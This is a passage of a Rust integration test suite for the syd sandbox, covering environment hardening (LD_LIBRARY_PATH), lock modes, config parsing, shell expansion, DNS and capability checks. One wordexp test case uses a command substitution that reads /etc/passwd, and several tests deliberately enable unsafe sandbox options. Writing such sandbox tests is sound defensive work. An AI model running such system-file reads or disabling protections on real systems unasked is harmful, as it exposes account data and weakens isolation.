        eprintln!("Failed to set up xattrs, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let syd_do = &SYD_DO.to_string();
    let status = syd()
        .m("lock:off")
        .m("allow/all+/***")
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
SYD_TEST_DO=removexattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.ack.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat returned ENODATA as expected!"
    ;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=removexattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
'') true;;
38) # ENOSYS
    echo >&2 "no removexattrat support, skipping test!"
    exit 0;;
*) exit $r;;
esac
unset r

SYD_TEST_DO=getxattrat_file {syd_do} dir user.syd.test || r=$?
case $r in
38) # ENOSYS
    echo >&2 "no getxattrat support, skipping test!"
    exit 0;;
61) # ENODATA
    echo >&2 "getxattrat failed with ENODATA as expected!"
    exit 0;;
*) exit $r;;
esac
unset r
"##,
        ))
        .status()
        .expect("execute bash");
    assert_status_ok!(status);

    Ok(())
}

// Checks environment filtering
fn test_syd_environment_filter() -> TestResult {
    skip_unless_available!("sh");

    const ENV: &str = "SAFE";
    env::set_var(ENV, "/var/empty");

    // Step 1: Allow by default
    let output = syd()
        .p("off")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output1:{output}");

    // Step 2: Override with -evar=val
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}=/var/empty:/var/empty"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty:/var/empty", "output2:{output}");

    // Step 3: Unset with -evar
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output3:{output}");

    // Step 4: Pass-through with -evar=
    let output = syd()
        .p("off")
        .arg(format!("-e{ENV}="))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output4:{output}");

    env::remove_var(ENV);

    Ok(())
}

// Checks environment hardening and -e pass-through.
// Note, AT_SECURE mitigation is another defense against this,
// that is why we disable it with trace/allow_unsafe_libc:1
// during this test.
fn test_syd_environment_harden() -> TestResult {
    skip_unless_available!("sh");

    const ENV: &str = "LD_LIBRARY_PATH";
    env::set_var(ENV, "/var/empty");

    // Step 1: Deny by default
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output1:{output}");

    // Step 2: Override with -evar=val
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .arg(format!("-e{ENV}=/var/empty:/var/empty"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty:/var/empty", "output2:{output}");

    // Step 3: Unset with -evar
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .arg(format!("-e{ENV}"))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output3:{output}");

    // Step 4: Pass-through with -evar=
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .arg(format!("-e{ENV}="))
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output4:{output}");

    // Step 5: Allow with -m trace/allow_unsafe_env:1
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_env:1")
        .m("trace/allow_unsafe_libc:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output == "/var/empty", "output:{output}");

    // Step 6: Toggle -m trace/allow_unsafe_env
    let output = syd()
        .p("off")
        .m("trace/allow_unsafe_env:1")
        .m("trace/allow_unsafe_env:0")
        .m("trace/allow_unsafe_libc:1")
        .argv(["sh", "-c", &format!("echo ${ENV}")])
        .output()
        .expect("execute syd");
    let output = String::from_utf8_lossy(&output.stdout);
    let output = output.trim_end();
    assert!(output.is_empty(), "output1:{output}");

    env::remove_var(ENV);

    Ok(())
}

// Tests if `lock:on` command disables access to `/dev/syd`.
fn test_syd_lock() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["sh", "-cx", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    eprintln!("+ sh -c \"test -c /dev/syd\"");
    let status = syd()
        .p("off")
        .m("lock:on")
        .argv(["sh", "-cex", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `lock:exec` locks the sandbox for all except the exec child.
fn test_syd_lock_exec() -> TestResult {
    // Note, we use bash rather than sh,
    // because not all sh (e.g. busybox)
    // spawn a subsell on (cmd).
    skip_unless_available!("bash");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex", "test -c /dev/syd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex", "( test -c /dev/syd )"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent -m CLI args.
fn test_syd_lock_prevents_further_cli_args() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .p("off")
        .m("lock:on")
        .m("lock:off")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:0")
        .m("lock:on")
        .m("lock:off")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .m("lock:on")
        .m("trace/allow_unsafe_ptrace:1")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .log("warn")
        .p("off")
        .m("lock:on")
        .p("paludis")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .log("warn")
        .p("off")
        .m("lock:on")
        .P("/dev/null")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent configuration file edits.
fn test_syd_lock_prevents_further_cfg_items() -> TestResult {
    skip_unless_available!("true");

    let conf = "lock:on\nlock:off\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .log("warn")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `-mlock:on` prevents subsequent file includes.
fn test_syd_lock_prevents_further_inc_items() -> TestResult {
    skip_unless_available!("true");

    let conf = "sandbox/read:on\n";
    let mut file = File::create("conf-1.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let conf = "lock:on\ninclude conf-1.syd-3\n";
    let mut file = File::create("conf-2.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .log("warn")
        .p("off")
        .P("./conf-2.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if syd-dns can resolve DNS with AF_UNSPEC under syd.
fn test_syd_dns_resolve_host_unspec() -> TestResult {
    eprintln!("+ syd-dns chesswob.org");
    let status = std::process::Command::new(&*SYD_DNS)
        .arg("chesswob.org")
        .status()
        .expect("execute syd-dns");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_DNS])
        .arg("chesswob.org")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd-dns can resolve DNS with AF_INET under syd.
fn test_syd_dns_resolve_host_ipv4() -> TestResult {
    eprintln!("+ syd-dns -4 chesswob.org");
    let status = std::process::Command::new(&*SYD_DNS)
        .arg("-4")
        .arg("chesswob.org")
        .status()
        .expect("execute syd-dns");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_DNS])
        .arg("-4")
        .arg("chesswob.org")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd-dns can resolve DNS with AF_INET6 under syd.
fn test_syd_dns_resolve_host_ipv6() -> TestResult {
    eprintln!("+ syd-dns -6 chesswob.org");
    let status = std::process::Command::new(&*SYD_DNS)
        .arg("-6")
        .arg("chesswob.org")
        .status()
        .expect("execute syd-dns");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .argv([&*SYD_DNS])
        .arg("-6")
        .arg("chesswob.org")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check our wordexp(3) wrapper using its syd-env interface.
fn test_syd_wordexp() -> TestResult {
    skip_unless_available!("sh");

    use syd::wordexp::{
        WRDE_BADCHAR, WRDE_BADVAL, WRDE_CMDSUB, WRDE_NOSPACE, WRDE_SECCOMP, WRDE_SYNTAX,
        WRDE_TIMEOUT,
    };

    fn wrde2str(err: i32) -> String {
        match err {
            0 => "success".to_string(),
            128 => "unknown error".to_string(),
            WRDE_NOSPACE => "WRDE_NOSPACE".to_string(),
            WRDE_BADCHAR => "WRDE_BADCHAR".to_string(),
            WRDE_BADVAL => "WRDE_BADVAL".to_string(),
            WRDE_CMDSUB => "WRDE_CMDSUB".to_string(),
            WRDE_SYNTAX => "WRDE_SYNTAX".to_string(),
            WRDE_SECCOMP => "WRDE_SECCOMP".to_string(),
            WRDE_TIMEOUT => "WRDE_TIMEOUT".to_string(),
            _ => {
                let errno = Errno::from_raw(err);
                let mut errmsg = format!("errno {errno}");
                if let Ok(sig) = Signal::try_from(err) {
                    errmsg.push_str(&format!("or signal {}", sig.as_str()));
                }
                errmsg
            }
        }
    }

    #[allow(clippy::type_complexity)]
    struct ExpandTest<'a> {
        name: &'a str,
        arg: &'a [u8],
        env_add: &'a [(&'a [u8], &'a [u8])],
        env_rem: &'a [&'a [u8]],
        out_err: Option<i32>,
        out_ret: Option<&'a [u8]>,
    }

    // Define the test cases.
    let tests: Vec<ExpandTest> = vec![
        ExpandTest {
            name: "[basic] empty string returns itself",
            arg: b"",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b""),
        },
        ExpandTest {
            name: "[basic] literal string returns itself",
            arg: b"oops",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"oops"),
        },
        ExpandTest {
            name: "[basic] expand single variable",
            arg: b"$TEST",
            env_add: &[(b"TEST", b"/home")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"/home"),
        },
        ExpandTest {
            name: "[basic] expand single variable with curly brackets",
            arg: b"${TEST}",
            env_add: &[(b"TEST", b"/home")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"/home"),
        },
        ExpandTest {
            name: "[basic] expand single variable with curly brackets and default",
            arg: b"${TEST:-1}",
            env_add: &[(b"TEST", b"/home")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"/home"),
        },
        ExpandTest {
            name: "[basic] default expand single variable with curly brackets and default",
            arg: b"${TEST:-1}",
            env_add: &[],
            env_rem: &[b"TEST"],
            out_err: None,
            out_ret: Some(b"1"),
        },
        ExpandTest {
            name: "[basic] default env expand single variable with curly brackets and default",
            arg: b"${TEST:-$DEFAULT}",
            env_add: &[(b"DEFAULT", b"1")],
            env_rem: &[b"TEST"],
            out_err: None,
            out_ret: Some(b"1"),
        },
        ExpandTest {
            name: "[basic] double env expand single variable with curly brackets and default",
            arg: b"${TEST:-${DEFAULT}}",
            env_add: &[(b"DEFAULT", b"1")],
            env_rem: &[b"TEST"],
            out_err: None,
            out_ret: Some(b"1"),
        },
        ExpandTest {
            name: "[timeout] basic time out",
            arg: b"$(sleep 5)",
            env_add: &[],
            env_rem: &[],
            out_err: Some(WRDE_TIMEOUT),
            out_ret: None,
        },
        ExpandTest {
            name: "[timeout] beat time out",
            arg: b"`sleep 2; echo 1`",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"1"),
        },
        // Test nested command substitution
        ExpandTest {
            name: "[complex] nested command substitution",
            arg: b"$(echo $(echo nested))",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"nested"),
        },
        // Test multiple variable expansion in one string
        ExpandTest {
            name: "[complex] multiple variable expansion",
            arg: b"$VAR1 and $VAR2",
            env_add: &[(b"VAR1", b"hello"), (b"VAR2", b"world")],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"hello and world"),
        },
        // Test syntax error with unbalanced curly braces
        ExpandTest {
            name: "[syntax] unbalanced curly braces",
            arg: b"${unbalanced",
            env_add: &[],
            env_rem: &[],
            out_err: Some(WRDE_SYNTAX),
            out_ret: None,
        },
        // Test expansion with recursion limit
        ExpandTest {
            name: "[complex] recursion limit",
            arg: b"${VAR1:-${VAR2:-${VAR3:-$VAR4}}}",
            env_add: &[(b"VAR4", b"deep")],
            env_rem: &[b"VAR1", b"VAR2", b"VAR3"],
            out_err: None,
            out_ret: Some(b"deep"),
        },
        // Test command substitution with pipes.
        // Landlock allows access to /etc/passwd.
        ExpandTest {
            name: "[complex] command with pipes",
            arg: b"$(grep -m1 root /etc/passwd | cut -d: -f1)",
            env_add: &[],
            env_rem: &[],
            out_err: None,
            out_ret: Some(b"root"),
        },
        // Test command substitution that generates an empty replacement
        ExpandTest {
            name: "[edge] empty command substitution",
            arg: b"$(echo)",
            env_add: &[],
            env_rem: &[],
            out_err: Some(WRDE_BADVAL),
            out_ret: None,
        },
    ];

    let mut fails = 0;
    let tests_len = tests.len();
    for test in tests {
        let mut result_passed = true;
        let mut error_message = String::new();

        let mut cmd = std::process::Command::new("timeout");
        if check_timeout_foreground() {
            cmd.arg("--foreground");
            cmd.arg("--preserve-status");
            cmd.arg("--verbose");
        }
        cmd.arg("-sKILL");
        cmd.arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("1m".to_string()));
        cmd.arg(&*SYD_ENV);
        for env in test.env_rem {
            cmd.env_remove(OsStr::from_bytes(env));
        }
        for (env, var) in test.env_add {
            cmd.env(OsStr::from_bytes(env), OsStr::from_bytes(var));
        }
        cmd.arg("-e");
        cmd.arg(OsStr::from_bytes(test.arg));
        cmd.env(ENV_LOG, "debug");
        cmd.stderr(Stdio::inherit());
        eprintln!("\x1b[93m+ {cmd:?}\x1b[0m");
        let output = cmd.output().expect("execute syd-env");

        let mycode = output.status.code().unwrap_or(128);
        let excode = test.out_err.unwrap_or(0);

        if mycode != excode {
            result_passed = false;
            error_message = format!(
                "unexpected exit code {}, expected {}",
                wrde2str(mycode),
                wrde2str(excode)
            );
        }
        if let Some(out) = test.out_ret {
            if output.stdout != out {
                result_passed = false;
                error_message =
                    format!("unexpected output: {}", output.stdout.to_lower_hex_string());
            }
        }

        // Print the test result.
        if result_passed {
            eprintln!("PASS: {}", test.name);
        } else {
            eprintln!("FAIL: {} - {error_message}", test.name);
            fails += 1;
        }
    }

    if fails == 0 {
        eprintln!("All {tests_len} tests have passed.");
        Ok(())
    } else {
        eprintln!("{fails} out of {tests_len} tests have failed.");
        Err(TestError("OOPS".to_string()))
    }
}

fn test_syd_cmd_exec_with_lock_default() -> TestResult {
    skip_unless_available!("bash", "sleep");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_on() -> TestResult {
    skip_unless_available!("bash", "chmod", "sleep", "true");

    let status = syd()
        .p("off")
        .m("lock:on")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_off_1() -> TestResult {
    skip_unless_available!("bash", "chmod", "sleep", "true");

    let status = syd()
        .p("off")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_off_2() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:off")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
    test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_exec_1() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
test -c \"$({} $PWD/exec.sh)\"
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cmd_exec_with_lock_exec_2() -> TestResult {
    skip_unless_available!("bash", "cat", "chmod", "true");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .argv(["bash", "-cex"])
        .arg(format!(
            "
#!/bin/bash
: > test
cat > exec.sh <<EOF
#!/bin/bash -ex
# Careful here, cmd/exec changes CWD to /.
echo OK > $PWD/test
exit 42
EOF
chmod +x exec.sh
(
    test -c \"$({} $PWD/exec.sh)\"
) &
wait
sleep 5
test -s ./test
true
",
            *SYD_EXEC
        ))
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_parse_config() -> TestResult {
    skip_unless_available!("true");

    let conf = "lock:on\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .p("off")
        .P("./conf.syd-3")
        .args(["--", "true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .P("./conf.syd-3")
        .m("lock:exec")
        .args(["--", "true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_include_config() -> TestResult {
    skip_unless_available!("true");

    let idir = " Change\treturn\tsuccess.\tGoing\tand\tcoming\twithout\terror.\tAction\tbrings\tgood\tfortune. ";
    create_dir_all(idir)?;

    let name =
        " Change return success. Going and coming without error.\tAction brings good fortune.";
    let conf = "lock:${SYD_LOCK_STATE}\n";
    let mut file = File::create(format!("./{idir}/{name}.syd-3"))?;
    write!(file, "{conf}")?;
    drop(file);

    let conf = format!("include {name}.syd-3\n");
    let mut file = File::create(format!("./{idir}/conf.syd-3"))?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env("SYD_LOCK_STATE", "on")
        .p("off")
        .P(format!("./{idir}/conf.syd-3"))
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .env("SYD_LOCK_STATE", "on")
        .p("off")
        .P(format!("./{idir}/conf.syd-3"))
        .m("lock:exec")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_01() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env("SYD_TEST_OOPS", "/home")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_02() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS}\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_03() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS:-/home}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_shellexpand_04() -> TestResult {
    skip_unless_available!("true");

    let conf = "allow/write+${SYD_TEST_OOPS:-}/***\n";
    let mut file = File::create("conf.syd-3")?;
    write!(file, "{conf}")?;
    drop(file);

    let status = syd()
        .env_remove("SYD_TEST_OOPS")
        .p("off")
        .P("./conf.syd-3")
        .argv(["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if personality(2) locking works with trace/lock_personality.
#[allow(unreachable_code)]
fn test_syd_lock_personality() -> TestResult {
    // Check if the target architecture is 32-bit and exit if true
    #[cfg(not(target_pointer_width = "64"))]
    {
        eprintln!("Test requires 64-bit target, skippping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("trace/lock_personality:1")
        .do_("personality", ["false"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/lock_personality:0")
        .m("trace/lock_personality:1")
        .do_("personality", ["false"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .do_("personality", ["true"])
        .status()
        .expect("execute syd");
    // This and the rest of the asserts fail on GitLab CI.
    if !*GL_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("trace/lock_personality:0")
        .do_("personality", ["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/lock_personality:1")
        .m("trace/lock_personality:0")
        .do_("personality", ["true"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_log_proc_setname_read() -> TestResult {
    // create pipe to read syd logs.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let procnm = b"hello!\xE2\x98\xBA\xF0\x9F\x92\xA9\xE2\x9C\x8C\xE2\x9D\xA4";
    let expect = OsStr::from_bytes(&procnm[..15]);
    let procnm = OsStr::from_bytes(procnm);
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .do_("set_name", [procnm])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_ok!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    match reader
        .lines()
        .filter(|line| {
            line.as_ref()
                .map(|l| l.contains("\"change_process_name\""))
                .unwrap_or(false)
        })
        .last()
    {
        None => {
            eprintln!("read nothing, expected process name log entry!");
            return Err(TestError("EOF".to_string()));
        }
        Some(Ok(line)) => {
            eprint!("read access violation:\n{line}");
            let data: Value = serde_json::from_str(&line).expect("invalid JSON");
            let name = data
                .get("name")
                .and_then(|v| v.as_str())
                .expect("missing name field");
            let real = Vec::from_hex(name).expect("invalid HEX");
            let real = OsStr::from_bytes(real.as_slice());
            eprintln!("syd logged process name `{name}' -> `{real:?}'.");
            eprintln!(
                "original name argument {procnm:?} is truncated to {} bytes.",
                real.len()
            );
            if *real != *expect {
                return Err(TestError(format!("name mismatch, expected `{expect:?}'")));
            }
        }
        Some(Err(e)) => {
            // Error reading from the buffer.
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_log_proc_setname_filter() -> TestResult {
    // create pipe to read syd logs.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("filter/read+!proc/name")
        .m("filter/read-!proc/name")
        .m("filter/read+!proc/name")
        .m("filter/read+!proc/name")
        .m("filter/read+!proc/name")
        .m("filter/read^!proc/name")
        .m("filter/read+!proc/name")
        .do_("set_name", ["3"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_ok!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    match reader
        .lines()
        .filter(|f| {
            f.as_ref()
                .map(|l| l.contains("\"access\""))
                .unwrap_or(false)
        })
        .last()
    {
        None => {
            eprintln!("read nothing!");
            eprintln!("process set name filtered as expected.");
        }
        Some(Ok(line)) => {
            eprint!("unexpected read:\n{line}");
            return Err(TestError("failed to filter process set name".to_string()));
        }
        Some(Err(e)) => {
            // Error reading from the buffer
            eprintln!("Error reading from pipe: {e}");
            return Err(TestError(format!("Error reading from pipe: {e}")));
        }
    }

    Ok(())
}

fn test_syd_cap_basic() -> TestResult {
    let status = std::process::Command::new(&*SYD_CAP)
        .status()
        .expect("execute syd-cap");
    assert_status_ok!(status);

    let status = syd().p("off").arg(&*SYD_CAP).status().expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_caps:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_cap_unshare() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_caps:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_ptrace:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_chown:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_time:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_bind:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_socket:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_unsafe_syslog:1")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("off")
        .p("container")
        .m("trace/allow_safe_setuid:0")
        .m("trace/allow_safe_setgid:0")
        .arg(&*SYD_CAP)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if AT_SECURE is set by default.
